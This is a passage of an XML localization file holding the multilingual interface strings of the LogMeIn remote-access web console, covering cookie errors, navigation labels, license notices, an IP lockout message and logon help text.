_ \\ % $ ^ &amp; * ( ). Wenn es am Namen liegt, können Sie versuchen, den Namenskonflikt zu umgehen, indem Sie
die Verbindung über die IP-Adresse des Ferncomputers herstellen.
</de>
<es>Existe un problema con las cookies de su navegador. %PRODUCTNAME se basa en cookies
para iniciar y mantener su sesión. El problema puede ocurrir si ha
deshabilitado las cookies de su navegador o si el nombre del ordenador remoto
contiene caracteres no permitidos, por ejemplo, _ \\ % $ ^ &amp; * ( ). Si el problema es
el nombre del ordenador, intente conectarse utilizando la dirección IP del ordenador remoto
en lugar de la IP del ordenador host.
</es>
<fr>Il y a un problème avec les cookies de votre navigateur. %PRODUCTNAME utilise des cookies
pour connecter votre session et vous y maintenir. Ce problème peut survenir si
vous avez désactivé les cookies dans votre navigateur ou si le nom de la machine distante
contient des caractères non reconnus tels que _ \ % $ ^ &amp; * ( ). Si le problème provient du nom de
la machine distante, essayez de vous connecter en utilisant l'adresse IP de l'ordinateur contrôlé
plutôt que son nom d'hôte.
</fr>
<it>Nel browser si è verificato un problema con i cookie. %PRODUCTNAME utilizza i cookie per eseguire l'accesso e mantenere
la sessione dell'utente. Il problema può verificarsi se nel browser sono stati disattivati i cookie oppure se il nome del
computer remoto contiene caratteri non validi per l'italiano, ad esempio _ \\ % $ ^ &amp; * ( ). Se il problema è provocato
dal nome del computer, provare a eseguire la connessione utilizzando l'indirizzo IP del computer remoto invece del relativo nome host.
</it>
<ru>Имеется проблема с файлами cookie в браузере. Программа %PRODUCTNAME использует файлы cookie
при входе пользователя и для поддержания сеанса пользователя. Такая проблема может возникнуть,
если в браузере отключить поддержку файлов cookie или если имя удаленного компьютера
содержит недопустимые символы, например, _ \\ % $ ^ &amp; * ( ). Если проблема
заключается в имени компьютера, то попробуйте подключиться с помощью IP-адреса удаленного компьютера, а не его хост-имени.
</ru>
<ja>ブラウザの Cookie に問題があります。%PRODUCTNAME は Cookie を使用して、ログインを処理し、
ユーザ セッションを維持します。ブラウザで Cookie が無効になっていたり、不正な文字 (_ \\ % $ ^ &amp; * ( ) など)
がリモート コンピュータの名前に含まれていたりすると、問題が起きる場合があります。コンピュータの名前に問題がある場合は、
ホスト名ではなく、リモート コンピュータの IP アドレスを使用して接続してみてください。
</ja>
<zh>浏览器中的 cookie 出现问题。%PRODUCTNAME 通过 cookie
使您登录并维护您的用户会话。如果已在浏览器中禁用 cookie
或者远程计算机名称中包含非法字符(例如 _ \\ % $ ^ &amp; * ( )),
则会发生此问题。如果问题是由于计算机名称造成的,
请尝试使用远程计算机的 IP 地址而非其主机名
建立连接。
</zh>
<ko>브라우저의 쿠키에 문제가 발생하였습니다. %PRODUCTNAME은(는) 쿠키를 통해
사용자를 로그인하게 하고 사용자 세션을 유지합니다. 브라우저에서 쿠키를 사용할 수 없거나
원격 컴퓨터 이름이 부적합한 문자(예: _ \\ % $ ^ &amp; * ( ))를 포함하는 경우 문제가 발생할 수 있습니다. 컴퓨터 이름에
문제가 있는 경우 호스트 이름 대신 원격 컴퓨터의 IP 주소를 사용하여
브라우저에 연결하십시오.
</ko>
<en-gb>There is a problem with cookies in your browser. %PRODUCTNAME relies on cookies
to log you in and maintain your user session. The problem can occur if you
have disabled cookies in your browser or if the name of the remote computer
has illegal characters in it e.g. _ \\ % $ ^ &amp; * ( ). If the problem is
the computer name, try to connect using the IP address of the remote computer
instead of its host name.</en-gb>
<hu>Probléma van a cookie-kkal a böngészőjében. A %PRODUCTNAME cookie-kat használ
az Ön beléptetéséhez és a felhasználói munkamenet fenntartásához. A probléma akkor merülhet fel, ha
letiltotta a cookie-kat a böngészőben, vagy ha a távoli számítógép neve
meg nem engedett karaktereket tartalmaz, pl.: _ \\ % $ ^ &amp; * ( ). Ha a problémát a
számítógép neve okozza, akkor próbálja meg a távoli számítógép IP-címét használni
a gazdaszámítógép neve helyett.
</hu>
<pt-br>Há um problema com cookies no seu navegador. O %PRODUCTNAME conta com cookies
para conectá-lo e manter sua sessão de usuário. O problema poderá ocorrer se você
tiver desabilitado os cookies no seu navegador ou se o nome do computador remoto
tiver caracteres inválidos, como _ \\ % $ ^ &amp; * ( ). Se o problema for
o nome do computador, tente conectar-se usando o endereço IP do computador remoto,
em vez do seu nome de host.
</pt-br>
<nl>In uw browser is een probleem met cookies opgetreden. %PRODUCTNAME maakt gebruik van cookies
om u aan te melden en de verbinding tijdens uw gebruikerssessie in stand te houden. Dit probleem doet zich mogelijk voor als u
het gebruik van cookies in uw browser hebt uitgeschakeld of als de naam van de externe computer
ongeldige tekens bevat, zoals _ \\ % $ ^ &amp; * ( ). Als het probleem
te wijten is aan de computernaam, moet u proberen een verbinding te maken op basis van het IP-adres van de externe computer
in plaats van de host-naam van de computer.
</nl>
</msg>
<msg brand="LMI" name="NOCOOKIE">
<en>There is a problem with cookies in your browser. %PRODUCTNAME relies on cookies to log you in and maintain your user session. The problem can occur if you have disabled cookies in your browser.</en>
<de>Es ist ein Fehler im Zusammenhang mit Cookies und Ihrem Internet- Browser aufgetreten. % PRODUCTNAME ist abhängig von Cookies, um Sie anzumelden und Ihre Nutzersitzung aufrechtzuerhalten. Dieses Problem kann auftreteten, wenn Sie Cookies in Ihrem Internet-Browser deaktiviert haben.</de>
<es>Hay un problema con los cookies en su navegador. %PRODUCTNAME depende de los cookies para iniciar y mantener su sesión de usuario. El problema puede ocurrir si usted ha incapacitado los cookies en su navegador.</es>
<fr> Il y a un problème de cookies dans votre navigate. %PRODUCTNAME s’appuit sur des cookies pour vous loguer et maintenir votre session active. Ce problème peut se présenter si vous avez désactivé les cookies dans les options de votre navigateur.</fr>
<it>Si è verificato un problema con i cookie nel browser. %PRODUCTNAME si basa sui cookie per consentire l'accesso e mantenere la sessione dell'utente. Questo problema può verificarsi quando l'utente ha disattivato i cookie nel browser.</it>
<ru>Имеется проблема с файлами cookie в обозревателе. Программа %PRODUCTNAME использует файлы cookie при входе пользователя и для обслуживания сеанса пользователя. Возможно, эта проблема связана с тем, что в обозревателе вашего компьютера отключены файлы cookie.</ru>
<ja>ブラウザの Cookie に問題があります。 %PRODUCTNAME では、ログインおよびユーザ セッションの維持に Cookie に依存しているため、ブラウザで Cookie が無効になっている場合、問題が生じます。</ja>
<zh>浏览器的 cookie 有问题。 %PRODUCTNAME 登录和维持用户会话都需要用到 cookie。 这个问题可能是由于禁用了浏览器的 cookie 而引起的。</zh>
<ko>브라우저의 쿠키에 문제가 있습니다. %PRODUCTNAME은(는) 쿠키를 통해 사용자를 로그인하게 하고 사용자 세션을 유지관리합니다. 브라우저에서 쿠키를 사용할 수 없는 경우 문제가 발생할 수 있습니다.</ko>
<en-gb>There is a problem with cookies in your browser. %PRODUCTNAME relies on cookies to log you in and maintain your user session. The problem can occur if you have disabled cookies in your browser.</en-gb>
<hu>Hiba történt a böngészőprogram ‘süti’ (cookie) beállításai miatt. A %PRODUCTNAME szoftvernek szüksége van sütikre ahhoz, hogy fenntartsa az Ön hozzáférési folyamatát.Ez a hibaüzenet akkor fordulhat elő, ha a sütik fogadása letiltott a böngészőben. Kérjünk engedélyezze.</hu>
<pt-br>Existe um problema de cookies no seu navegador. O %PRODUCTNAME precisa de cookies para efetuar seu logon e manter sua sessão de usuário. O problema ocorre se os cookies do seu navegador são desabilitados.</pt-br>
<nl>Er is een probleem met cookies in uw browser. %PRODUCTNAME is afhankelijk van cookies om in te kunnen loggen en uw gebruikerssessie te kunnen behouden. Dit probleem kan voorkomen als u cookies heeft uitgeschakeld in uw browser.</nl>
</msg>
<msg name="GO.TO">
<en>Go directly to</en>
<es>Vaya directamente a</es>
<fr>Aller directement à</fr>
<de>Direkt zu</de>
<it>Vai direttamente a</it>
<ru>Перейдите прямо к</ru>
<ja>ジャンプ</ja>
<zh>直接转到</zh>
<ko>직접 이동</ko>
<en-gb>Go directly to</en-gb>
<hu>Ugrás közvetlenül</hu>
<pt-br>Vá diretamente para</pt-br>
<nl>Ga rechtstreeks naar</nl>
</msg>
<msg name="GO.MAINMENU">
<en>Go to Main Menu</en>
<de>Zum Hauptmenü</de>
<es>Vaya al Menú principal</es>
<fr>Aller au menu principal</fr>
<it>Vai al menu principale</it>
<ru>Перейдите в главное меню</ru>
<ja>メイン メニューへ進む</ja>
<zh>转到主菜单</zh>
<ko>주 메뉴로 이동</ko>
<en-gb>Go to Main Menu</en-gb>
<hu>Ugrás a főmenüre</hu>
<pt-br>Vá para Menu principal</pt-br>
<nl>Ga naar Hoofdmenu</nl>
</msg>
<msg brand="LMI" name="GO.MAINMENU">
<en>Main Menu</en>
<de>Hauptmenü</de>
<es>Vaya al Menú principal</es>
<fr>Aller au menu principal</fr>
<it>Vai al menu principale</it>
<ru>Перейдите в главное меню</ru>
<ja>メイン メニューへ進む</ja>
<zh>转到主菜单</zh>
<ko>주 메뉴로 이동</ko>
<en-gb>Go to Main Menu</en-gb>
<hu>Ugrás a főmenüre</hu>
<pt-br>Vá para Menu principal</pt-br>
<nl>Ga naar Hoofdmenu</nl>
</msg>
<msg name="GO.REMCTRL">
<en>Go directly to Remote Control</en>
<de>Direkt zur Fernsteuerung</de>
<ja>リモート制御</ja>
<es>Ir directamente a Control Remoto</es>
<fr>Se connecter directement à une cession distante</fr>
<it>Vai direttamente a Controllo remoto</it>
<ru>Перейдите прямо к удаленному управлению</ru>
<zh>直接转到远程控制</zh>
<ko>원격 제어로 직접 이동</ko>
<en-gb>Go directly to Remote Control</en-gb>
<hu>Ugrás közvetlenül a Távvezérlőre</hu>
<pt-br>Vá diretamente para Remote Control</pt-br>
<nl>Ga rechtstreeks naar Besturing op afstand</nl>
</msg>
<msg brand="LMI" name="GO.REMCTRL">
<en>Remote Control</en>
<de>Fernsteuerung</de>
<ja>リモート制御</ja>
<es>Ir directamente a Control Remoto</es>
<fr>Se connecter directement à une cession distante</fr>
<it>Vai direttamente a Controllo remoto</it>
<ru>Перейдите прямо к удаленному управлению</ru>
<zh>直接转到远程控制</zh>
<ko>원격 제어로 직접 이동</ko>
<en-gb>Go directly to Remote Control</en-gb>
<hu>Ugrás közvetlenül a Távvezérlőre</hu>
<pt-br>Vá diretamente para Remote Control</pt-br>
<nl>Ga rechtstreeks naar Besturing op afstand</nl>
</msg>
<msg name="GO.FILEXFER">
<en>Go directly to File Transfer &amp; Synchronization</en>
<de>Direkt zu Dateitransfer &amp; Synchronisierung</de>
<ja>ファイル マネージャ</ja>
<es>Vaya directamente a Transferir archivos &amp; Sincronización</es>
<fr>Réaliser directement un transfert de fichier ou une synchronisation</fr>
<it>Vai direttamente a Trasferimento e Sincronizzazione file</it>
<ru>Перейдите прямо к консоли "Передача и синхронизация файлов"</ru>
<zh>直接转到“文件传输与同步”</zh>
<ko>파일 전송 &amp; 동기화로 직접 이동</ko>
<en-gb>Go directly to File Transfer &amp; Synchronisation</en-gb>
<hu>Ugrás közvetlenül a Fájlátvitel és szinkronizálásra</hu>
<pt-br>Vá diretamente para Transferência de arquivo &amp; Sincronização</pt-br>
<nl>Ga rechtstreeks naar Bestandsoverdracht &amp; synchronisatie</nl>
</msg>
<msg brand="LMI" name="GO.FILEXFER">
<en>File Manager</en>
<de>Dateimanager</de>
<ja>ファイル管理</ja>
<es>Gestor de archivos</es>
<fr>Transfert de fichiers</fr>
<it>Gestione file</it>
<ru>Диспетчер файлов</ru>
<zh>文件管理器</zh>
<ko>파일 관리자</ko>
<en-gb>File Manager</en-gb>
<hu>Fájlkezelő</hu>
<pt-br>Gerenciador de arquivos</pt-br>
<nl>Ga rechtstreeks naar Bestandsoverdracht &amp; synchronisatie</nl>
</msg>
<msg name="LANG">
<en>Select language</en>
<de>Sprache auswählen</de>
<es>Elija idioma</es>
<fr>Choisir la langue</fr>
<it>Seleziona la lingua</it>
<ru>Выберите язык</ru>
<ja>言語の選択</ja>
<zh>选择语言</zh>
<ko>언어 선택</ko>
<en-gb>Select language</en-gb>
<hu>Nyelvválasztás</hu>
<pt-br>Selecione um idioma</pt-br>
<nl>Taal selecteren</nl>
</msg>
<msg brand="LMI" name="LANG">
<en>Language:</en>
<es>Idioma:</es>
<de>Sprache:</de>
<fr>Langue :</fr>
<it>Lingua:</it>
<ru>Язык:</ru>
<ja>言語 : </ja>
<zh>语言:</zh>
<ko>언어:</ko>
<hu>Nyelv:</hu>
<pt-br>Idioma:</pt-br>
<nl>Language (taal):</nl>
<en-gb>Language:</en-gb>
</msg>
<msg name="NODIRECT.TITLE">
<en>Connection not allowed</en>
<de>Die Verbindung ist nicht erlaubt</de>
<es>Conexión no permitida</es>
<fr>La connexion n'est pas autorisée</fr>
<it>Connessione non consentita</it>
<ru>Подключение не разрешено</ru>
<ja>許可されていない接続</ja>
<zh>连接未允许</zh>
<ko>연결이 허용되지 않음</ko>
<en-gb>Connection not allowed</en-gb>
<hu>A kapcsolat nem engedélyezett</hu>
<pt-br>Conexão não permitida</pt-br>
<nl>Deze verbinding is niet toegestaan</nl>
</msg>
<msg name="NODIRECT">
<en>Your %PRODUCTNAME license does not permit you to access this computer
directly, only through the %WEBSVC.NAME web service. Follow the link below
to sign on to the service.</en>
<de>Ihre %PRODUCTNAME Lizenz erlaubt es nicht, auf den Computer direkt zu zugreifen. Der Zugriff ist nur über den %WEBSVC.NAME Webservice möglich. Klicken sie auf nachfolgenden Link, um sich bei dem Dienst anzumelden.</de>
<es>Su licencia de %PRODUCTNAME no le permite acceder a este ordenador
directamente; sólo puede hacerlo a través del servicio Web %WEBSVC.NAME. Vaya al siguiente hipervínculo
para registrarse en el servicio.</es>
<fr>Votre licence %PRODUCTNAME ne vous autorise pas à accéder directement à cet ordinateur, 
sauf au travers du service Web %WEBSVC.NAME. Suivez le lien ci-dessous
pour accéder au service.</fr>
<it>La licenza di %PRODUCTNAME non consente l'accesso diretto a questo computer, ma solo tramite il servizio Web %WEBSVC.NAME. Per accedere al servizio utilizzare il collegamento riportato di seguito.</it>
<ru>Текущая лицензия на программу %PRODUCTNAME не разрешает прямой доступ к данному компьютеру. Доступ возможен только через веб-службу %WEBSVC.NAM. Перейдите по представленной ниже ссылке, чтобы подписаться на данную службу.</ru>
<ja>この %PRODUCTNAME ライセンスでは、このコンピュータに直接アクセスすることは許可されていません。%WEBSVC.NAME Web サービスを通じてのみアクセスできます。以下のリンクに従って、Web サービスにログインしてください。</ja>
<zh>%PRODUCTNAME 许可证不允许您直接访问此计算机,
只能通过 %WEBSVC.NAME Web 服务进行访问。单击以下链接
登录服务。</zh>
<ko>사용자의 %PRODUCTNAME 라이센스로 이 컴퓨터에 직접 액세스할 수 없으며 %WEBSVC.NAME 웹 서비스를 통해서만 액세스할 수 있습니다. 아래 링크에 따라 서비스에 로그인하십시오.</ko>
<en-gb>Your %PRODUCTNAME licence does not permit you to access this computer
directly, only through the %WEBSVC.NAME web service. Follow the link below
to sign on to the service.</en-gb>
<hu>Az Ön %PRODUCTNAME licensze nem teszi lehetővé a hozzáférést ehhez a számítógéphez
közvetlenül, csak a %WEBSVC.NAME webszolgáltatáson keresztül. Kövesse az alábbi hivatkozást
a szolgáltatásra való előfizetéshez.</hu>
<pt-br>Sua licença do %PRODUCTNAME não permite acesso a este computador diretamente,
somente pelo serviço da web %WEBSVC.NAME. Siga o link abaixo
para assinar o serviço.</pt-br>
<nl>Met uw %PRODUCTNAME-licentie beschikt u niet over de toestemming om rechtstreeks toegang te krijgen tot deze computer, wel en uitsluitend via de %WEBSVC.NAME-webservice. Klik op de link hieronder om u bij deze service aan te melden.</nl>
</msg>
<msg name="IPLOCK.TITLE">
<en>IP Address Lockout</en>
<de>IP-Adressen sperren</de>
<es>Bloqueo de Dirección IP</es>
<fr>Adresse IP verrouillée</fr>
<it>Blocco dell'indirizzo IP</it>
<ru>IP-адрес заблокирован</ru>
<ja>IP アドレスのロックアウト</ja>
<zh>IP 地址锁定</zh>
<ko>IP 주소 잠금</ko>
<en-gb>IP Address Lockout</en-gb>
<hu>IP cím zárolása</hu>
<pt-br>Bloqueio de endereço IP</pt-br>
<nl>Blokkeren van IP-adressen</nl>
</msg>
<msg name="IPLOCK">
<en>You have made too many unsuccessful login attempts and your IP address (%IPLOCKEDOUT) has now been blocked.
This computer is temporarily unavailable from your location. This temporary delay helps prevent someone else from guessing your password.
You can try logging in again in approximately %IPLOCKOUT minutes.</en>
<de>Sie haben zu viele fehlgeschlagene Anmeldeversuche unternommen und Ihre IP-Adresse (%IPLOCKEDOUT) wurde nun gesperrt. Dieser Computer ist von Ihrem Standort aus vorübergehend nicht zugänglich. Diese vorübergehende Verzögerung soll verhindern, dass Fremde Ihr Passwort erraten können. Sie können in rund %IPLOCKOUT Minuten einen erneuten Anmeldeversuch unternehmen.</de>
<es>Ha realizado demasiados intentos fallidos de inicio de sesión y su dirección IP (%IPLOCKEDOUT) ha sido bloqueada. Este ordenador no está disponible temporalmente desde su ubicación. Este retraso temporal ayuda a evitar que otra persona averigüe su contraseña. Podrá volver a intentar iniciar sesión dentro de unos %IPLOCKOUT minutos.</es>
<fr>Vous avez effectué trop de tentatives de connexion infructueuses et votre adresse IP (%IPLOCKEDOUT) a été bloquée. Cet ordinateur est temporairement inaccessible depuis votre lieu actuel. Ce blocage temporaire à pour but d'empêcher quelqu'un d'autre d'essayer de deviner votre mot de passe. Vous pourrez essayer de vous reconnecter dans environ %IPLOCKOUT minutes.</fr>
<it>Sono stati effettuati troppi tentativi di accesso non riusciti e l'indirizzo IP (%IPLOCKEDOUT) è stato bloccato. Il computer non è al momento disponibile dalla postazione corrente. Questo blocco temporaneo aiuta a impedire che altri possano indovinare la password. È possibile riprovare ad accedere tra circa %IPLOCKOUT minuti.</it>
<ru>Было выполнено слишком много неудачных попыток входа, и ваш IP-адрес (%IPLOCKEDOUT) теперь заблокирован. Этот компьютер временно недоступен с вашего адреса. Эта временная блокировка не позволит другому лицу подобрать ваш пароль. Вы можете повторить попытку входа примерно через %IPLOCKOUT мин.</ru>
<ja>ログインに失敗した回数が上限を超えたため、IP アドレス (%IPLOCKEDOUT) はブロックされました。 このコンピュータは一時的にその場所から利用できなくなっています。 この一時的なロックは、第三者がパスワードを推測すること防ぐためのものです。 ログインの試行は約 %IPLOCKOUT 分後に再び可能になります。</ja>
<zh>您做了过多的失败登录尝试,您的 IP 地址 (%IPLOCKEDOUT) 现在已经被锁定。 从您的地点暂时无法访问此计算机。 此暂时延迟有助于防止他人猜测到您的密码。 您可以在大约 %IPLOCKOUT 分钟后再次尝试登录。</zh>
<ko>실패한 로그인 시도가 너무 많아서 현재 사용자의 IP 주소(%IPLOCKEDOUT)가 잠겼습니다. 이 컴퓨터를 일시적으로 사용할 수 없습니다. 이러한 일시적인 지연은 다른 사람이 사용자의 암호를 추측하지 못하게 막는 데 도움이 됩니다. 약 %IPLOCKOUT분 후에는 다시 로그인할 수 있습니다.</ko>
<en-gb>You have made too many unsuccessful login attempts and your IP address (%IPLOCKEDOUT) has now been blocked. This computer is temporarily unavailable from your location. This temporary delay helps prevent someone else from guessing your password. You can try logging in again in approximately %IPLOCKOUT minutes.</en-gb>
<hu>Önnek túl sok sikertelen bejelentkezési kísérlete volt, és IP-címe (%IPLOCKEDOUT) zárolásra került. Ez a számítógép pillanatnyilag elérhetetlen az Ön helyéről. Ez az ideiglenes késleltetés megakadályozza, hogy valaki más feltörje az Ön jelszavát. Körülbelül %IPLOCKOUT perc múlva ismét megpróbálhatja a bejelentkezést.</hu>
<pt-br>Você fez muitas tentativas malsucedidas e seu endereço IP (%IPLOCKEDOUT) foi bloqueado. Este computador está temporariamente indisponível da sua localização. Este atraso temporário ajuda a evitar que outra pessoa adivinhe sua senha. Você pode tentar fazer login novamente em aproximadamente %IPLOCKOUT minutos.</pt-br>
<nl>U hebt te veel mislukte aanmeldingspogingen gedaan en uw IP-adres (%IPLOCKEDOUT) is nu geblokkeerd. Deze computer is vanaf uw locatie tijdelijk niet beschikbaar. Deze tijdelijke blokkering helpt voorkomen dat iemand anders uw wachtwoord zou raden. U kunt opnieuw proberen om u aan te melden over ongeveer %IPLOCKOUT minuten.</nl>
</msg>
<cat name="LOGONHELP">
<msg name="LOGONHELPTXT">
<en>what's this?</en>
<de>was ist das?</de>
<ja>これは何?</ja>
<es>¿qué es esto?</es>
<fr>Qu'est-ce?</fr>
<it>Guida rapida</it>
<ru>Что это такое?</ru>
<zh>这是什么?</zh>
<ko>설명?</ko>
<en-gb>what's this?</en-gb>
<hu>mi ez?</hu>
<pt-br>O que é isso?</pt-br>
<nl>wat is dit?</nl>
</msg>
<msg name="LOGONHELP">
<en>Logon Help</en>
<es>Ayuda de inicio de sesión</es>
<fr>Aide Ouverture de Session</fr>
<de>Hilfe bei der Anmeldung</de>
<it>Guida all'accesso</it>
<ru>Справка по входу в систему</ru>
<ja>ログイン ヘルプ</ja>
<zh>登录帮助</zh>
<ko>로그온 도움말</ko>
<en-gb>Logon Help</en-gb>
<hu>Bejelentkezés súgója</hu>
<pt-br>Ajuda para efetuar logon</pt-br>
<nl>Hulp bij aanmelden</nl>
</msg>
<msg name="CLOSE">
<en>Close Window</en>
<de>Fenster schließen</de>
<es>Cerrar ventana</es>
<fr>Fermer la Fenêtre</fr>
<it>Chiudi finestra</it>
<ru>Закрыть окно</ru>
<ja>ウィンドウを閉じる</ja>
<zh>关闭窗口</zh>
<ko>창 닫기</ko>
<en-gb>Close Window</en-gb>
<hu>Ablak bezárása</hu>
<pt-br>Fechar janela</pt-br>
<nl>Venster sluiten</nl>
</msg>
<msg name="SINGLEUSER.LINE1">
<en>You need to enter the password for the computer named %SRVNAME.</en>
<es>Necesita introducir la contraseña para el ordenador %SRVNAME.</es>
<fr>Vous devez saisir le mot de passe pour l'ordinateur dénommé %SRVNAME.</fr>
<de>Sie müssen das Kennwort für den Computer %SRVNAME eingeben.</de>
<it>È necessario immettere la password per il computer denominato %SRVNAME.</it>
<ru>Необходимо ввести пароль для компьютера с именем %SRVNAME.</ru>
<ja>%SRVNAME という名前のコンピュータで使用されているパスワードを入力する必要があります。</ja>
<zh>需要为名为 %SRVNAME 的计算机输入密码。</zh>
<ko>%SRVNAME 컴퓨터의 암호를 입력해야 합니다.</ko>
<en-gb>You need to enter the password for the computer named %SRVNAME.</en-gb>
<hu>Meg kell adnia a jelszót a %SRVNAME nevű számítógéphez.</hu>
<pt-br>É necessário digitar a senha para o computador chamado de %SRVNAME.</pt-br>
<nl>U moet het wachtwoord invoeren voor de computer met de computernaam %SRVNAME.</nl>
</msg>
<msg name="SINGLEUSER.LINE2">
<en>You created this password when you installed LogMeIn on the computer. The password was created in a dialog that looks
like the one shown below.</en>
<es>Creó esta contraseña cuando instaló LogMeIn en el ordenador. Creó la contraseña en un cuadro de diálogo igual
que el que puede ver abajo.</es>
<fr>Vous avez créé ce mot de passe lorsque vous avez installé LogMeIn sur l'ordinateur. Le mot de passe a été créé dans une boîte de dialogue qui ressemble
à celle montrée ci-dessous.</fr>
<de>Sie haben dieses Kennwort während der Installation von LogMeIn auf dem Computer angegeben. Das Kennwort wurde in einem Dialogfeld erstellt, das mit dem unten angezeigten Dialogfeld vergleichbar ist.</de>
<it>La password è stata creata durante l'installazione di LogMeIn sul computer, in una finestra di dialogo simile a quella visualizzata di seguito.</it>
<ru>Этот пароль задается при установке LogMeIn на данном компьютере. Пароль был задан в диалоговом окне, подобном показанному ниже.</ru>
<ja>このパスワードは、コンピュータに LogMeIn をインストールしたときに作成されたものです。パスワードの作成時には、以下に示すようなダイアログが表示されました。</ja>
<zh>此密码是在计算机上安装 LogMeIn 时创建的。创建密码所用的对话框类似于
如下所示。</zh>
<ko>컴퓨터에 LogMeIn을(를) 설치할 때 이 암호를 만들었습니다. 아래와 같은 대화 상자에서 암호를 만들었습니다.</ko>
<en-gb>You created this password when you installed LogMeIn on the computer. The password was created in a dialogue box that looks
like the one shown below.</en-gb>
<hu>Ezt a jelszót akkor hozta létre, amikor telepítette a LogMeIn programot a számítógépre. A jelszót egy olyan párbeszédablakban hozta létre, amely
hasonló az alább feltüntetetthez.</hu>
<pt-br>Você criou esta senha quando instalou o LogMeIn no computador. A senha foi criada em uma caixa de diálogo como
esta.</pt-br>
<nl>U hebt dit wachtwoord gemaakt op het ogenblik dat u LogMeIn op de computer installeerde. U hebt dit wachtwoord gemaakt in een dialoogvenster zoals hieronder is weergegeven.</nl>
</msg>
<msg name="WIN9X.LINE1">
<en>You need to enter the username and password combination for the computer named %SRVNAME.</en>
<es>Es necesario introducir la combinación de nombre de usuario y contraseña para el ordenador %SRVNAME.</es>
<fr>Vous devez saisir le nom de l'utilisateur et le mot de passe pour l'ordinateur dénommé %SRVNAME.</fr>
<de>Sie müssen den Benutzernamen und das Kennwort für den Computer %SRVNAME eingeben.</de>
<it>È necessario immettere il nome utente e la password per il computer denominato %SRVNAME.</it>
<ru>Необходимо ввести имя пользователя и пароль для компьютера с именем %SRVNAME.</ru>
<ja>%SRVNAME という名前のコンピュータで使用するユーザ名とパスワードの組み合わせを入力する必要があります。</ja>
<zh>需要为名为 %SRVNAME 的计算机输入用户名和密码组合。</zh>
<ko>%SRVNAME 컴퓨터에 대한 사용자 이름 및 암호를 함께 입력해야 합니다.</ko>
<en-gb>You need to enter the username and password combination for the computer named %SRVNAME.</en-gb>
<hu>Meg kell adnia a felhasználói név és jelszó kombinációt a %SRVNAME nevű számítógéphez.</hu>
<pt-br>É necessário digitar o nome de usuário e a senha para o computador chamado de %SRVNAME.</pt-br>
<nl>U moet de combinatie van de gebruikersnaam en het wachtwoord invoeren voor de computer met de computernaam %SRVNAME.</nl>
</msg>
<msg name="WIN9X.LINE2">
<en>You created this password when you installed LogMeIn on the computer. The password was created in a dialog that looks
like the one shown below.</en>
<es>Creó esta contraseña cuando instaló LogMeIn en el ordenador. Creó la contraseña en un cuadro de diálogo igual
que el que puede ver abajo.</es>
<fr>Vous avez créé ce mot de passe lorsque vous avez installé LogMeIn sur l'ordinateur. Le mot de passe a été créé dans une boîte de dialogue qui ressemble
à celle montrée ci-dessous.</fr>
<de>Sie haben dieses Kennwort während der Installation von LogMeIn auf dem Computer angegeben. Das Kennwort wurde in einem Dialogfeld erstellt, das mit dem unten angezeigten Dialogfeld vergleichbar ist.</de>
<it>La password è stata creata durante l'installazione di LogMeIn sul computer, in una finestra di dialogo simile a quella visualizzata di seguito.</it>
<ru>Этот пароль задается при установке LogMeIn на данном компьютере. Пароль был задан в диалоговом окне, подобном показанному ниже.</ru>
<ja>このパスワードは、コンピュータに LogMeIn をインストールしたときに作成されたものです。パスワードの作成時には、以下に示すようなダイアログが表示されました。</ja>
<zh>此密码是在计算机上安装 LogMeIn 时创建的。创建密码所用的对话框类似于
如下所示。</zh>
<ko>컴퓨터에 LogMeIn을(를) 설치할 때 이 암호를 만들었습니다. 아래와 같은 대화 상자에서 암호를 만들었습니다.</ko>
<en-gb>You created this password when you installed LogMeIn on the computer. The password was created in a dialogue box that looks
like the one shown below.</en-gb>
<hu>Ezt a jelszót akkor hozta létre, amikor telepítette a LogMeIn programot a számítógépre. A jelszót egy olyan párbeszédablakban hozta létre, amely
hasonló az alább feltüntetetthez.</hu>
<pt-br>Você criou esta senha quando instalou o LogMeIn no computador. A senha foi criada em uma caixa de diálogo como
esta.</pt-br>
<nl>U hebt dit wachtwoord gemaakt op het ogenblik dat u LogMeIn op de computer installeerde. U hebt dit wachtwoord gemaakt in een dialoogvenster zoals hieronder is weergegeven.</nl>
</msg>
<msg name="XPPRO.LINE1">
<en>You need to enter your Windows password as you would normally do
when accessing %SRVNAME locally.</en>
<es>Es necesario introducir su contraseña de Windows como lo haría normalmente si estuviese intentando acceder a %SRVNAME localmente.</es>
<fr>Vous devez entrer votre mot de passe Windows comme vous le feriez normalement
lorsque vous accédez à %SRVNAME.</fr>
<de>Sie müssen das Windows-Kennwort für den lokalen Zugriff auf %SRVNAME eingeben.</de>
<it>Quando si accede a %SRVNAME a livello locale, è necessario immettere la password di Windows.</it>
<ru>Необходимо ввести пароль Windows, как это обычно делается при локальном доступе к %SRVNAME.</ru>
<ja>%SRVNAME にローカル アクセスをするには、通常の場合と同様にWindows のパスワードを入力する必要があります。</ja>
<zh>跟通常本地访问 %SRVNAME 一样,
您需要输入 Windows 密码。</zh>
<ko>일반적으로 %SRVNAME을(를) 로컬에서 액세스할 경우와 같이 Windows 암호를 입력해야 합니다.</ko>
<en-gb>You need to enter your Windows password as you would normally do
when accessing %SRVNAME locally.</en-gb>
<hu>Meg kell adnia Windows jelszavát, ahogyan azt általában teszi, 
amikor a %SRVNAME gépet helyileg éri el.</hu>
<pt-br>É necessário digitar sua senha do Windows como normalmente faz
quando acessa %SRVNAME localmente.</pt-br>
<nl>U moet uw Windows-wachtwoord invoeren zoals u dat normaal zou doen wanneer u op de lokale computer toegang wilt krijgen tot %SRVNAME.</nl>
</msg>
<msg os="macosx" name="XPPRO.LINE1">
<en>You need to enter your Mac password as you would normally do
when accessing %SRVNAME locally.</en>
<es>Es necesario introducir su contraseña de Mac como lo haría normalmente si estuviese intentando acceder a %SRVNAME localmente.</es>
<fr>Vous devez entrer votre mot de passe Mac comme vous le feriez normalement
lorsque vous accédez à %SRVNAME.</fr>
<de>Sie müssen das Mac-Kennwort für den lokalen Zugriff auf %SRVNAME eingeben.</de>
<it>Quando si accede a %SRVNAME a livello locale, è necessario immettere la password di Mac.</it>
<ru>Необходимо ввести пароль Mac, как это обычно делается при локальном доступе к %SRVNAME.</ru>
<ja>%SRVNAME にローカル アクセスをするには、通常の場合と同様にMac のパスワードを入力する必要があります。</ja>
<zh>跟通常本地访问 %SRVNAME 一样,
您需要输入 Mac 密码。</zh>
<ko>일반적으로 %SRVNAME을(를) 로컬에서 액세스할 경우와 같이 Mac 암호를 입력해야 합니다.</ko>
<en-gb>You need to enter your Mac password as you would normally do
when accessing %SRVNAME locally.</en-gb>
